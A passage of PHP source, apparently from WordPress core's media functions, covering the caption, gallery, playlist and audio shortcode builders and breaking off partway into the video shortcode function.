	}

	if ( $atts['caption_id'] ) {
		$caption_id  = 'id="' . esc_attr( $atts['caption_id'] ) . '" ';
		$describedby = 'aria-describedby="' . esc_attr( $atts['caption_id'] ) . '" ';
	}

	$class = trim( 'wp-caption ' . $atts['align'] . ' ' . $atts['class'] );

	$html5 = current_theme_supports( 'html5', 'caption' );
	// HTML5 captions never added the extra 10px to the image width.
	$width = $html5 ? $atts['width'] : ( 10 + $atts['width'] );

	/**
	 * Filters the width of an image's caption.
	 *
	 * By default, the caption is 10 pixels greater than the width of the image,
	 * to prevent post content from running up against a floated image.
	 *
	 * @since 3.7.0
	 *
	 * @see img_caption_shortcode()
	 *
	 * @param int    $width    Width of the caption in pixels. To remove this inline style,
	 *                         return zero.
	 * @param array  $atts     Attributes of the caption shortcode.
	 * @param string $content  The image element, possibly wrapped in a hyperlink.
	 */
	$caption_width = apply_filters( 'img_caption_shortcode_width', $width, $atts, $content );

	$style = '';

	if ( $caption_width ) {
		$style = 'style="width: ' . (int) $caption_width . 'px" ';
	}

	if ( $html5 ) {
		$html = sprintf(
			'<figure %s%s%sclass="%s">%s%s</figure>',
			$id,
			$describedby,
			$style,
			esc_attr( $class ),
			do_shortcode( $content ),
			sprintf(
				'<figcaption %sclass="wp-caption-text">%s</figcaption>',
				$caption_id,
				$atts['caption']
			)
		);
	} else {
		$html = sprintf(
			'<div %s%sclass="%s">%s%s</div>',
			$id,
			$style,
			esc_attr( $class ),
			str_replace( '<img ', '<img ' . $describedby, do_shortcode( $content ) ),
			sprintf(
				'<p %sclass="wp-caption-text">%s</p>',
				$caption_id,
				$atts['caption']
			)
		);
	}

	return $html;
}

add_shortcode( 'gallery', 'gallery_shortcode' );

/**
 * Builds the Gallery shortcode output.
 *
 * This implements the functionality of the Gallery Shortcode for displaying
 * WordPress images on a post.
 *
 * @since 2.5.0
 * @since 2.8.0 Added the `$attr` parameter to set the shortcode output. New attributes included
 *              such as `size`, `itemtag`, `icontag`, `captiontag`, and columns. Changed markup from
 *              `div` tags to `dl`, `dt` and `dd` tags. Support more than one gallery on the
 *              same page.
 * @since 2.9.0 Added support for `include` and `exclude` to shortcode.
 * @since 3.5.0 Use get_post() instead of global `$post`. Handle mapping of `ids` to `include`
 *              and `orderby`.
 * @since 3.6.0 Added validation for tags used in gallery shortcode. Add orientation information to items.
 * @since 3.7.0 Introduced the `link` attribute.
 * @since 3.9.0 `html5` gallery support, accepting 'itemtag', 'icontag', and 'captiontag' attributes.
 * @since 4.0.0 Removed use of `extract()`.
 * @since 4.1.0 Added attribute to `wp_get_attachment_link()` to output `aria-describedby`.
 * @since 4.2.0 Passed the shortcode instance ID to `post_gallery` and `post_playlist` filters.
 * @since 4.6.0 Standardized filter docs to match documentation standards for PHP.
 * @since 5.1.0 Code cleanup for WPCS 1.0.0 coding standards.
 * @since 5.3.0 Saved progress of intermediate image creation after upload.
 * @since 5.5.0 Ensured that galleries can be output as a list of links in feeds.
 * @since 5.6.0 Replaced order-style PHP type conversion functions with typecasts. Fix logic for
 *              an array of image dimensions.
 *
 * @param array $attr {
 *     Attributes of the gallery shortcode.
 *
 *     @type string       $order      Order of the images in the gallery. Default 'ASC'. Accepts 'ASC', 'DESC'.
 *     @type string       $orderby    The field to use when ordering the images. Default 'menu_order ID'.
 *                                    Accepts any valid SQL ORDERBY statement.
 *     @type int          $id         Post ID.
 *     @type string       $itemtag    HTML tag to use for each image in the gallery.
 *                                    Default 'dl', or 'figure' when the theme registers HTML5 gallery support.
 *     @type string       $icontag    HTML tag to use for each image's icon.
 *                                    Default 'dt', or 'div' when the theme registers HTML5 gallery support.
 *     @type string       $captiontag HTML tag to use for each image's caption.
 *                                    Default 'dd', or 'figcaption' when the theme registers HTML5 gallery support.
 *     @type int          $columns    Number of columns of images to display. Default 3.
 *     @type string|int[] $size       Size of the images to display. Accepts any registered image size name, or an array
 *                                    of width and height values in pixels (in that order). Default 'thumbnail'.
 *     @type string       $ids        A comma-separated list of IDs of attachments to display. Default empty.
 *     @type string       $include    A comma-separated list of IDs of attachments to include. Default empty.
 *     @type string       $exclude    A comma-separated list of IDs of attachments to exclude. Default empty.
 *     @type string       $link       What to link each image to. Default empty (links to the attachment page).
 *                                    Accepts 'file', 'none'.
 * }
 * @return string HTML content to display gallery.
 */
function gallery_shortcode( $attr ) {
	$post = get_post();

	static $instance = 0;
	++$instance;

	if ( ! empty( $attr['ids'] ) ) {
		// 'ids' is explicitly ordered, unless you specify otherwise.
		if ( empty( $attr['orderby'] ) ) {
			$attr['orderby'] = 'post__in';
		}
		$attr['include'] = $attr['ids'];
	}

	/**
	 * Filters the default gallery shortcode output.
	 *
	 * If the filtered output isn't empty, it will be used instead of generating
	 * the default gallery template.
	 *
	 * @since 2.5.0
	 * @since 4.2.0 The `$instance` parameter was added.
	 *
	 * @see gallery_shortcode()
	 *
	 * @param string $output   The gallery output. Default empty.
	 * @param array  $attr     Attributes of the gallery shortcode.
	 * @param int    $instance Unique numeric ID of this gallery shortcode instance.
	 */
	$output = apply_filters( 'post_gallery', '', $attr, $instance );

	if ( ! empty( $output ) ) {
		return $output;
	}

	$html5 = current_theme_supports( 'html5', 'gallery' );
	$atts  = shortcode_atts(
		array(
			'order'      => 'ASC',
			'orderby'    => 'menu_order ID',
			'id'         => $post ? $post->ID : 0,
			'itemtag'    => $html5 ? 'figure' : 'dl',
			'icontag'    => $html5 ? 'div' : 'dt',
			'captiontag' => $html5 ? 'figcaption' : 'dd',
			'columns'    => 3,
			'size'       => 'thumbnail',
			'include'    => '',
			'exclude'    => '',
			'link'       => '',
		),
		$attr,
		'gallery'
	);

	$id = (int) $atts['id'];

	if ( ! empty( $atts['include'] ) ) {
		$_attachments = get_posts(
			array(
				'include'        => $atts['include'],
				'post_status'    => 'inherit',
				'post_type'      => 'attachment',
				'post_mime_type' => 'image',
				'order'          => $atts['order'],
				'orderby'        => $atts['orderby'],
			)
		);

		$attachments = array();
		foreach ( $_attachments as $key => $val ) {
			$attachments[ $val->ID ] = $_attachments[ $key ];
		}
	} elseif ( ! empty( $atts['exclude'] ) ) {
		$post_parent_id = $id;
		$attachments    = get_children(
			array(
				'post_parent'    => $id,
				'exclude'        => $atts['exclude'],
				'post_status'    => 'inherit',
				'post_type'      => 'attachment',
				'post_mime_type' => 'image',
				'order'          => $atts['order'],
				'orderby'        => $atts['orderby'],
			)
		);
	} else {
		$post_parent_id = $id;
		$attachments    = get_children(
			array(
				'post_parent'    => $id,
				'post_status'    => 'inherit',
				'post_type'      => 'attachment',
				'post_mime_type' => 'image',
				'order'          => $atts['order'],
				'orderby'        => $atts['orderby'],
			)
		);
	}

	if ( ! empty( $post_parent_id ) ) {
		$post_parent = get_post( $post_parent_id );

		// Terminate the shortcode execution if the user cannot read the post or it is password-protected.
		if ( ! is_post_publicly_viewable( $post_parent->ID ) && ! current_user_can( 'read_post', $post_parent->ID )
			|| post_password_required( $post_parent )
		) {
			return '';
		}
	}

	if ( empty( $attachments ) ) {
		return '';
	}

	if ( is_feed() ) {
		$output = "\n";
		foreach ( $attachments as $att_id => $attachment ) {
			if ( ! empty( $atts['link'] ) ) {
				if ( 'none' === $atts['link'] ) {
					$output .= wp_get_attachment_image( $att_id, $atts['size'], false, $attr );
				} else {
					$output .= wp_get_attachment_link( $att_id, $atts['size'], false );
				}
			} else {
				$output .= wp_get_attachment_link( $att_id, $atts['size'], true );
			}
			$output .= "\n";
		}
		return $output;
	}

	$itemtag    = tag_escape( $atts['itemtag'] );
	$captiontag = tag_escape( $atts['captiontag'] );
	$icontag    = tag_escape( $atts['icontag'] );
	$valid_tags = wp_kses_allowed_html( 'post' );
	if ( ! isset( $valid_tags[ $itemtag ] ) ) {
		$itemtag = 'dl';
	}
	if ( ! isset( $valid_tags[ $captiontag ] ) ) {
		$captiontag = 'dd';
	}
	if ( ! isset( $valid_tags[ $icontag ] ) ) {
		$icontag = 'dt';
	}

	$columns   = (int) $atts['columns'];
	$itemwidth = $columns > 0 ? floor( 100 / $columns ) : 100;
	$float     = is_rtl() ? 'right' : 'left';

	$selector = "gallery-{$instance}";

	$gallery_style = '';

	/**
	 * Filters whether to print default gallery styles.
	 *
	 * @since 3.1.0
	 *
	 * @param bool $print Whether to print default gallery styles.
	 *                    Defaults to false if the theme supports HTML5 galleries.
	 *                    Otherwise, defaults to true.
	 */
	if ( apply_filters( 'use_default_gallery_style', ! $html5 ) ) {
		$type_attr = current_theme_supports( 'html5', 'style' ) ? '' : ' type="text/css"';

		$gallery_style = "
		<style{$type_attr}>
			#{$selector} {
				margin: auto;
			}
			#{$selector} .gallery-item {
				float: {$float};
				margin-top: 10px;
				text-align: center;
				width: {$itemwidth}%;
			}
			#{$selector} img {
				border: 2px solid #cfcfcf;
			}
			#{$selector} .gallery-caption {
				margin-left: 0;
			}
			/* see gallery_shortcode() in wp-includes/media.php */
		</style>\n\t\t";
	}

	$size_class  = sanitize_html_class( is_array( $atts['size'] ) ? implode( 'x', $atts['size'] ) : $atts['size'] );
	$gallery_div = "<div id='$selector' class='gallery galleryid-{$id} gallery-columns-{$columns} gallery-size-{$size_class}'>";

	/**
	 * Filters the default gallery shortcode CSS styles.
	 *
	 * @since 2.5.0
	 *
	 * @param string $gallery_style Default CSS styles and opening HTML div container
	 *                              for the gallery shortcode output.
	 */
	$output = apply_filters( 'gallery_style', $gallery_style . $gallery_div );

	$i = 0;

	foreach ( $attachments as $id => $attachment ) {

		$attr = ( trim( $attachment->post_excerpt ) ) ? array( 'aria-describedby' => "$selector-$id" ) : '';

		if ( ! empty( $atts['link'] ) && 'file' === $atts['link'] ) {
			$image_output = wp_get_attachment_link( $id, $atts['size'], false, false, false, $attr );
		} elseif ( ! empty( $atts['link'] ) && 'none' === $atts['link'] ) {
			$image_output = wp_get_attachment_image( $id, $atts['size'], false, $attr );
		} else {
			$image_output = wp_get_attachment_link( $id, $atts['size'], true, false, false, $attr );
		}

		$image_meta = wp_get_attachment_metadata( $id );

		$orientation = '';

		if ( isset( $image_meta['height'], $image_meta['width'] ) ) {
			$orientation = ( $image_meta['height'] > $image_meta['width'] ) ? 'portrait' : 'landscape';
		}

		$output .= "<{$itemtag} class='gallery-item'>";
		$output .= "
			<{$icontag} class='gallery-icon {$orientation}'>
				$image_output
			</{$icontag}>";

		if ( $captiontag && trim( $attachment->post_excerpt ) ) {
			$output .= "
				<{$captiontag} class='wp-caption-text gallery-caption' id='$selector-$id'>
				" . wptexturize( $attachment->post_excerpt ) . "
				</{$captiontag}>";
		}

		$output .= "</{$itemtag}>";

		if ( ! $html5 && $columns > 0 && 0 === ++$i % $columns ) {
			$output .= '<br style="clear: both" />';
		}
	}

	if ( ! $html5 && $columns > 0 && 0 !== $i % $columns ) {
		$output .= "
			<br style='clear: both' />";
	}

	$output .= "
		</div>\n";

	return $output;
}

/**
 * Outputs the templates used by playlists.
 *
 * @since 3.9.0
 */
function wp_underscore_playlist_templates() {
	?>
<script type="text/html" id="tmpl-wp-playlist-current-item">
	<# if ( data.thumb && data.thumb.src ) { #>
		<img src="{{ data.thumb.src }}" alt="" />
	<# } #>
	<div class="wp-playlist-caption">
		<span class="wp-playlist-item-meta wp-playlist-item-title">
			<# if ( data.meta.album || data.meta.artist ) { #>
				<?php
				/* translators: %s: Playlist item title. */
				printf( _x( '&#8220;%s&#8221;', 'playlist item title' ), '{{ data.title }}' );
				?>
			<# } else { #>
				{{ data.title }}
			<# } #>
		</span>
		<# if ( data.meta.album ) { #><span class="wp-playlist-item-meta wp-playlist-item-album">{{ data.meta.album }}</span><# } #>
		<# if ( data.meta.artist ) { #><span class="wp-playlist-item-meta wp-playlist-item-artist">{{ data.meta.artist }}</span><# } #>
	</div>
</script>
<script type="text/html" id="tmpl-wp-playlist-item">
	<div class="wp-playlist-item">
		<a class="wp-playlist-caption" href="{{ data.src }}">
			{{ data.index ? ( data.index + '. ' ) : '' }}
			<# if ( data.caption ) { #>
				{{ data.caption }}
			<# } else { #>
				<# if ( data.artists && data.meta.artist ) { #>
					<span class="wp-playlist-item-title">
						<?php
						/* translators: %s: Playlist item title. */
						printf( _x( '&#8220;%s&#8221;', 'playlist item title' ), '{{{ data.title }}}' );
						?>
					</span>
					<span class="wp-playlist-item-artist"> &mdash; {{ data.meta.artist }}</span>
				<# } else { #>
					<span class="wp-playlist-item-title">{{{ data.title }}}</span>
				<# } #>
			<# } #>
		</a>
		<# if ( data.meta.length_formatted ) { #>
		<div class="wp-playlist-item-length">{{ data.meta.length_formatted }}</div>
		<# } #>
	</div>
</script>
	<?php
}

/**
 * Outputs and enqueues default scripts and styles for playlists.
 *
 * @since 3.9.0
 *
 * @param string $type Type of playlist. Accepts 'audio' or 'video'.
 */
function wp_playlist_scripts( $type ) {
	wp_enqueue_style( 'wp-mediaelement' );
	wp_enqueue_script( 'wp-playlist' );
	?>
<!--[if lt IE 9]><script>document.createElement('<?php echo esc_js( $type ); ?>');</script><![endif]-->
	<?php
	add_action( 'wp_footer', 'wp_underscore_playlist_templates', 0 );
	add_action( 'admin_footer', 'wp_underscore_playlist_templates', 0 );
}

/**
 * Builds the Playlist shortcode output.
 *
 * This implements the functionality of the playlist shortcode for displaying
 * a collection of WordPress audio or video files in a post.
 *
 * @since 3.9.0
 *
 * @global int $content_width
 *
 * @param array $attr {
 *     Array of default playlist attributes.
 *
 *     @type string  $type         Type of playlist to display. Accepts 'audio' or 'video'. Default 'audio'.
 *     @type string  $order        Designates ascending or descending order of items in the playlist.
 *                                 Accepts 'ASC', 'DESC'. Default 'ASC'.
 *     @type string  $orderby      Any column, or columns, to sort the playlist. If $ids are
 *                                 passed, this defaults to the order of the $ids array ('post__in').
 *                                 Otherwise default is 'menu_order ID'.
 *     @type int     $id           If an explicit $ids array is not present, this parameter
 *                                 will determine which attachments are used for the playlist.
 *                                 Default is the current post ID.
 *     @type array   $ids          Create a playlist out of these explicit attachment IDs. If empty,
 *                                 a playlist will be created from all $type attachments of $id.
 *                                 Default empty.
 *     @type array   $exclude      List of specific attachment IDs to exclude from the playlist. Default empty.
 *     @type string  $style        Playlist style to use. Accepts 'light' or 'dark'. Default 'light'.
 *     @type bool    $tracklist    Whether to show or hide the playlist. Default true.
 *     @type bool    $tracknumbers Whether to show or hide the numbers next to entries in the playlist. Default true.
 *     @type bool    $images       Show or hide the video or audio thumbnail (Featured Image/post
 *                                 thumbnail). Default true.
 *     @type bool    $artists      Whether to show or hide artist name in the playlist. Default true.
 * }
 *
 * @return string Playlist output. Empty string if the passed type is unsupported.
 */
function wp_playlist_shortcode( $attr ) {
	global $content_width;
	$post = get_post();

	static $instance = 0;
	++$instance;

	if ( ! empty( $attr['ids'] ) ) {
		// 'ids' is explicitly ordered, unless you specify otherwise.
		if ( empty( $attr['orderby'] ) ) {
			$attr['orderby'] = 'post__in';
		}
		$attr['include'] = $attr['ids'];
	}

	/**
	 * Filters the playlist output.
	 *
	 * Returning a non-empty value from the filter will short-circuit generation
	 * of the default playlist output, returning the passed value instead.
	 *
	 * @since 3.9.0
	 * @since 4.2.0 The `$instance` parameter was added.
	 *
	 * @param string $output   Playlist output. Default empty.
	 * @param array  $attr     An array of shortcode attributes.
	 * @param int    $instance Unique numeric ID of this playlist shortcode instance.
	 */
	$output = apply_filters( 'post_playlist', '', $attr, $instance );

	if ( ! empty( $output ) ) {
		return $output;
	}

	$atts = shortcode_atts(
		array(
			'type'         => 'audio',
			'order'        => 'ASC',
			'orderby'      => 'menu_order ID',
			'id'           => $post ? $post->ID : 0,
			'include'      => '',
			'exclude'      => '',
			'style'        => 'light',
			'tracklist'    => true,
			'tracknumbers' => true,
			'images'       => true,
			'artists'      => true,
		),
		$attr,
		'playlist'
	);

	$id = (int) $atts['id'];

	if ( 'audio' !== $atts['type'] ) {
		$atts['type'] = 'video';
	}

	$args = array(
		'post_status'    => 'inherit',
		'post_type'      => 'attachment',
		'post_mime_type' => $atts['type'],
		'order'          => $atts['order'],
		'orderby'        => $atts['orderby'],
	);

	if ( ! empty( $atts['include'] ) ) {
		$args['include'] = $atts['include'];
		$_attachments    = get_posts( $args );

		$attachments = array();
		foreach ( $_attachments as $key => $val ) {
			$attachments[ $val->ID ] = $_attachments[ $key ];
		}
	} elseif ( ! empty( $atts['exclude'] ) ) {
		$args['post_parent'] = $id;
		$args['exclude']     = $atts['exclude'];
		$attachments         = get_children( $args );
	} else {
		$args['post_parent'] = $id;
		$attachments         = get_children( $args );
	}

	if ( ! empty( $args['post_parent'] ) ) {
		$post_parent = get_post( $id );

		// Terminate the shortcode execution if the user cannot read the post or it is password-protected.
		if ( ! current_user_can( 'read_post', $post_parent->ID ) || post_password_required( $post_parent ) ) {
			return '';
		}
	}

	if ( empty( $attachments ) ) {
		return '';
	}

	if ( is_feed() ) {
		$output = "\n";
		foreach ( $attachments as $att_id => $attachment ) {
			$output .= wp_get_attachment_link( $att_id ) . "\n";
		}
		return $output;
	}

	$outer = 22; // Default padding and border of wrapper.

	$default_width  = 640;
	$default_height = 360;

	$theme_width  = empty( $content_width ) ? $default_width : ( $content_width - $outer );
	$theme_height = empty( $content_width ) ? $default_height : round( ( $default_height * $theme_width ) / $default_width );

	$data = array(
		'type'         => $atts['type'],
		// Don't pass strings to JSON, will be truthy in JS.
		'tracklist'    => wp_validate_boolean( $atts['tracklist'] ),
		'tracknumbers' => wp_validate_boolean( $atts['tracknumbers'] ),
		'images'       => wp_validate_boolean( $atts['images'] ),
		'artists'      => wp_validate_boolean( $atts['artists'] ),
	);

	$tracks = array();
	foreach ( $attachments as $attachment ) {
		$url   = wp_get_attachment_url( $attachment->ID );
		$ftype = wp_check_filetype( $url, wp_get_mime_types() );
		$track = array(
			'src'         => $url,
			'type'        => $ftype['type'],
			'title'       => $attachment->post_title,
			'caption'     => $attachment->post_excerpt,
			'description' => $attachment->post_content,
		);

		$track['meta'] = array();
		$meta          = wp_get_attachment_metadata( $attachment->ID );
		if ( ! empty( $meta ) ) {

			foreach ( wp_get_attachment_id3_keys( $attachment ) as $key => $label ) {
				if ( ! empty( $meta[ $key ] ) ) {
					$track['meta'][ $key ] = $meta[ $key ];
				}
			}

			if ( 'video' === $atts['type'] ) {
				if ( ! empty( $meta['width'] ) && ! empty( $meta['height'] ) ) {
					$width        = $meta['width'];
					$height       = $meta['height'];
					$theme_height = round( ( $height * $theme_width ) / $width );
				} else {
					$width  = $default_width;
					$height = $default_height;
				}

				$track['dimensions'] = array(
					'original' => compact( 'width', 'height' ),
					'resized'  => array(
						'width'  => $theme_width,
						'height' => $theme_height,
					),
				);
			}
		}

		if ( $atts['images'] ) {
			$thumb_id = get_post_thumbnail_id( $attachment->ID );
			if ( ! empty( $thumb_id ) ) {
				list( $src, $width, $height ) = wp_get_attachment_image_src( $thumb_id, 'full' );
				$track['image']               = compact( 'src', 'width', 'height' );
				list( $src, $width, $height ) = wp_get_attachment_image_src( $thumb_id, 'thumbnail' );
				$track['thumb']               = compact( 'src', 'width', 'height' );
			} else {
				$src            = wp_mime_type_icon( $attachment->ID, '.svg' );
				$width          = 48;
				$height         = 64;
				$track['image'] = compact( 'src', 'width', 'height' );
				$track['thumb'] = compact( 'src', 'width', 'height' );
			}
		}

		$tracks[] = $track;
	}
	$data['tracks'] = $tracks;

	$safe_type  = esc_attr( $atts['type'] );
	$safe_style = esc_attr( $atts['style'] );

	ob_start();

	if ( 1 === $instance ) {
		/**
		 * Prints and enqueues playlist scripts, styles, and JavaScript templates.
		 *
		 * @since 3.9.0
		 *
		 * @param string $type  Type of playlist. Possible values are 'audio' or 'video'.
		 * @param string $style The 'theme' for the playlist. Core provides 'light' and 'dark'.
		 */
		do_action( 'wp_playlist_scripts', $atts['type'], $atts['style'] );
	}
	?>
<div class="wp-playlist wp-<?php echo $safe_type; ?>-playlist wp-playlist-<?php echo $safe_style; ?>">
	<?php if ( 'audio' === $atts['type'] ) : ?>
		<div class="wp-playlist-current-item"></div>
	<?php endif; ?>
	<<?php echo $safe_type; ?> controls="controls" preload="none" width="<?php echo (int) $theme_width; ?>"
		<?php
		if ( 'video' === $safe_type ) {
			echo ' height="', (int) $theme_height, '"';
		}
		?>
	></<?php echo $safe_type; ?>>
	<div class="wp-playlist-next"></div>
	<div class="wp-playlist-prev"></div>
	<noscript>
	<ol>
		<?php
		foreach ( $attachments as $att_id => $attachment ) {
			printf( '<li>%s</li>', wp_get_attachment_link( $att_id ) );
		}
		?>
	</ol>
	</noscript>
	<script type="application/json" class="wp-playlist-script"><?php echo wp_json_encode( $data ); ?></script>
</div>
	<?php
	return ob_get_clean();
}
add_shortcode( 'playlist', 'wp_playlist_shortcode' );

/**
 * Provides a No-JS Flash fallback as a last resort for audio / video.
 *
 * @since 3.6.0
 *
 * @param string $url The media element URL.
 * @return string Fallback HTML.
 */
function wp_mediaelement_fallback( $url ) {
	/**
	 * Filters the Mediaelement fallback output for no-JS.
	 *
	 * @since 3.6.0
	 *
	 * @param string $output Fallback output for no-JS.
	 * @param string $url    Media file URL.
	 */
	return apply_filters( 'wp_mediaelement_fallback', sprintf( '<a href="%1$s">%1$s</a>', esc_url( $url ) ), $url );
}

/**
 * Returns a filtered list of supported audio formats.
 *
 * @since 3.6.0
 *
 * @return string[] Supported audio formats.
 */
function wp_get_audio_extensions() {
	/**
	 * Filters the list of supported audio formats.
	 *
	 * @since 3.6.0
	 *
	 * @param string[] $extensions An array of supported audio formats. Defaults are
	 *                            'mp3', 'ogg', 'flac', 'm4a', 'wav'.
	 */
	return apply_filters( 'wp_audio_extensions', array( 'mp3', 'ogg', 'flac', 'm4a', 'wav' ) );
}

/**
 * Returns useful keys to use to lookup data from an attachment's stored metadata.
 *
 * @since 3.9.0
 *
 * @param WP_Post $attachment The current attachment, provided for context.
 * @param string  $context    Optional. The context. Accepts 'edit', 'display'. Default 'display'.
 * @return string[] Key/value pairs of field keys to labels.
 */
function wp_get_attachment_id3_keys( $attachment, $context = 'display' ) {
	$fields = array(
		'artist' => __( 'Artist' ),
		'album'  => __( 'Album' ),
	);

	if ( 'display' === $context ) {
		$fields['genre']            = __( 'Genre' );
		$fields['year']             = __( 'Year' );
		$fields['length_formatted'] = _x( 'Length', 'video or audio' );
	} elseif ( 'js' === $context ) {
		$fields['bitrate']      = __( 'Bitrate' );
		$fields['bitrate_mode'] = __( 'Bitrate Mode' );
	}

	/**
	 * Filters the editable list of keys to look up data from an attachment's metadata.
	 *
	 * @since 3.9.0
	 *
	 * @param array   $fields     Key/value pairs of field keys to labels.
	 * @param WP_Post $attachment Attachment object.
	 * @param string  $context    The context. Accepts 'edit', 'display'. Default 'display'.
	 */
	return apply_filters( 'wp_get_attachment_id3_keys', $fields, $attachment, $context );
}
/**
 * Builds the Audio shortcode output.
 *
 * This implements the functionality of the Audio Shortcode for displaying
 * WordPress mp3s in a post.
 *
 * @since 3.6.0
 *
 * @param array  $attr {
 *     Attributes of the audio shortcode.
 *
 *     @type string $src      URL to the source of the audio file. Default empty.
 *     @type string $loop     The 'loop' attribute for the `<audio>` element. Default empty.
 *     @type string $autoplay The 'autoplay' attribute for the `<audio>` element. Default empty.
 *     @type string $preload  The 'preload' attribute for the `<audio>` element. Default 'none'.
 *     @type string $class    The 'class' attribute for the `<audio>` element. Default 'wp-audio-shortcode'.
 *     @type string $style    The 'style' attribute for the `<audio>` element. Default 'width: 100%;'.
 * }
 * @param string $content Shortcode content.
 * @return string|void HTML content to display audio.
 */
function wp_audio_shortcode( $attr, $content = '' ) {
	$post_id = get_post() ? get_the_ID() : 0;

	static $instance = 0;
	++$instance;

	/**
	 * Filters the default audio shortcode output.
	 *
	 * If the filtered output isn't empty, it will be used instead of generating the default audio template.
	 *
	 * @since 3.6.0
	 *
	 * @param string $html     Empty variable to be replaced with shortcode markup.
	 * @param array  $attr     Attributes of the shortcode. See {@see wp_audio_shortcode()}.
	 * @param string $content  Shortcode content.
	 * @param int    $instance Unique numeric ID of this audio shortcode instance.
	 */
	$override = apply_filters( 'wp_audio_shortcode_override', '', $attr, $content, $instance );

	if ( '' !== $override ) {
		return $override;
	}

	$audio = null;

	$default_types = wp_get_audio_extensions();
	$defaults_atts = array(
		'src'      => '',
		'loop'     => '',
		'autoplay' => '',
		'preload'  => 'none',
		'class'    => 'wp-audio-shortcode',
		'style'    => 'width: 100%;',
	);
	foreach ( $default_types as $type ) {
		$defaults_atts[ $type ] = '';
	}

	$atts = shortcode_atts( $defaults_atts, $attr, 'audio' );

	$primary = false;
	if ( ! empty( $atts['src'] ) ) {
		$type = wp_check_filetype( $atts['src'], wp_get_mime_types() );

		if ( ! in_array( strtolower( $type['ext'] ), $default_types, true ) ) {
			return sprintf( '<a class="wp-embedded-audio" href="%s">%s</a>', esc_url( $atts['src'] ), esc_html( $atts['src'] ) );
		}

		$primary = true;
		array_unshift( $default_types, 'src' );
	} else {
		foreach ( $default_types as $ext ) {
			if ( ! empty( $atts[ $ext ] ) ) {
				$type = wp_check_filetype( $atts[ $ext ], wp_get_mime_types() );

				if ( strtolower( $type['ext'] ) === $ext ) {
					$primary = true;
				}
			}
		}
	}

	if ( ! $primary ) {
		$audios = get_attached_media( 'audio', $post_id );

		if ( empty( $audios ) ) {
			return;
		}

		$audio       = reset( $audios );
		$atts['src'] = wp_get_attachment_url( $audio->ID );

		if ( empty( $atts['src'] ) ) {
			return;
		}

		array_unshift( $default_types, 'src' );
	}

	/**
	 * Filters the media library used for the audio shortcode.
	 *
	 * @since 3.6.0
	 *
	 * @param string $library Media library used for the audio shortcode.
	 */
	$library = apply_filters( 'wp_audio_shortcode_library', 'mediaelement' );

	if ( 'mediaelement' === $library && did_action( 'init' ) ) {
		wp_enqueue_style( 'wp-mediaelement' );
		wp_enqueue_script( 'wp-mediaelement' );
	}

	/**
	 * Filters the class attribute for the audio shortcode output container.
	 *
	 * @since 3.6.0
	 * @since 4.9.0 The `$atts` parameter was added.
	 *
	 * @param string $class CSS class or list of space-separated classes.
	 * @param array  $atts  Array of audio shortcode attributes.
	 */
	$atts['class'] = apply_filters( 'wp_audio_shortcode_class', $atts['class'], $atts );

	$html_atts = array(
		'class'    => $atts['class'],
		'id'       => sprintf( 'audio-%d-%d', $post_id, $instance ),
		'loop'     => wp_validate_boolean( $atts['loop'] ),
		'autoplay' => wp_validate_boolean( $atts['autoplay'] ),
		'preload'  => $atts['preload'],
		'style'    => $atts['style'],
	);

	// These ones should just be omitted altogether if they are blank.
	foreach ( array( 'loop', 'autoplay', 'preload' ) as $a ) {
		if ( empty( $html_atts[ $a ] ) ) {
			unset( $html_atts[ $a ] );
		}
	}

	$attr_strings = array();

	foreach ( $html_atts as $k => $v ) {
		$attr_strings[] = $k . '="' . esc_attr( $v ) . '"';
	}

	$html = '';

	if ( 'mediaelement' === $library && 1 === $instance ) {
		$html .= "<!--[if lt IE 9]><script>document.createElement('audio');</script><![endif]-->\n";
	}

	$html .= sprintf( '<audio %s controls="controls">', implode( ' ', $attr_strings ) );

	$fileurl = '';
	$source  = '<source type="%s" src="%s" />';

	foreach ( $default_types as $fallback ) {
		if ( ! empty( $atts[ $fallback ] ) ) {
			if ( empty( $fileurl ) ) {
				$fileurl = $atts[ $fallback ];
			}

			$type  = wp_check_filetype( $atts[ $fallback ], wp_get_mime_types() );
			$url   = add_query_arg( '_', $instance, $atts[ $fallback ] );
			$html .= sprintf( $source, $type['type'], esc_url( $url ) );
		}
	}

	if ( 'mediaelement' === $library ) {
		$html .= wp_mediaelement_fallback( $fileurl );
	}

	$html .= '</audio>';

	/**
	 * Filters the audio shortcode output.
	 *
	 * @since 3.6.0
	 *
	 * @param string $html    Audio shortcode HTML output.
	 * @param array  $atts    Array of audio shortcode attributes.
	 * @param string $audio   Audio file.
	 * @param int    $post_id Post ID.
	 * @param string $library Media library used for the audio shortcode.
	 */
	return apply_filters( 'wp_audio_shortcode', $html, $atts, $audio, $post_id, $library );
}
add_shortcode( 'audio', 'wp_audio_shortcode' );

/**
 * Returns a filtered list of supported video formats.
 *
 * @since 3.6.0
 *
 * @return string[] List of supported video formats.
 */
function wp_get_video_extensions() {
	/**
	 * Filters the list of supported video formats.
	 *
	 * @since 3.6.0
	 *
	 * @param string[] $extensions An array of supported video formats. Defaults are
	 *                             'mp4', 'm4v', 'webm', 'ogv', 'flv'.
	 */
	return apply_filters( 'wp_video_extensions', array( 'mp4', 'm4v', 'webm', 'ogv', 'flv' ) );
}

/**
 * Builds the Video shortcode output.
 *
 * This implements the functionality of the Video Shortcode for displaying
 * WordPress mp4s in a post.
 *
 * @since 3.6.0
 *
 * @global int $content_width
 *
 * @param array  $attr {
 *     Attributes of the shortcode.
 *
 *     @type string $src      URL to the source of the video file. Default empty.
 *     @type int    $height   Height of the video embed in pixels. Default 360.
 *     @type int    $width    Width of the video embed in pixels. Default $content_width or 640.
 *     @type string $poster   The 'poster' attribute for the `<video>` element. Default empty.
 *     @type string $loop     The 'loop' attribute for the `<video>` element. Default empty.
 *     @type string $autoplay The 'autoplay' attribute for the `<video>` element. Default empty.
 *     @type string $muted    The 'muted' attribute for the `<video>` element. Default false.
 *     @type string $preload  The 'preload' attribute for the `<video>` element.
 *                            Default 'metadata'.
 *     @type string $class    The 'class' attribute for the `<video>` element.
 *                            Default 'wp-video-shortcode'.
 * }
 * @param string $content Shortcode content.
 * @return string|void HTML content to display video.
 */
function wp_video_shortcode( $attr, $content = '' ) {
	global $content_width;
	$post_id = get_post() ? get_the_ID() : 0;

	static $instance = 0;
	++$instance;

	/**
	 * Filters the default video shortcode output.
	 *
	 * If the filtered output isn't empty, it will be used instead of generating
	 * the default video template.
	 *
	 * @since 3.6.0
	 *
	 * @see wp_video_shortcode()
	 *
	 * @param string $html     Empty variable to be replaced with shortcode markup.
	 * @param array  $attr     Attributes of the shortcode. See {@see wp_video_shortcode()}.
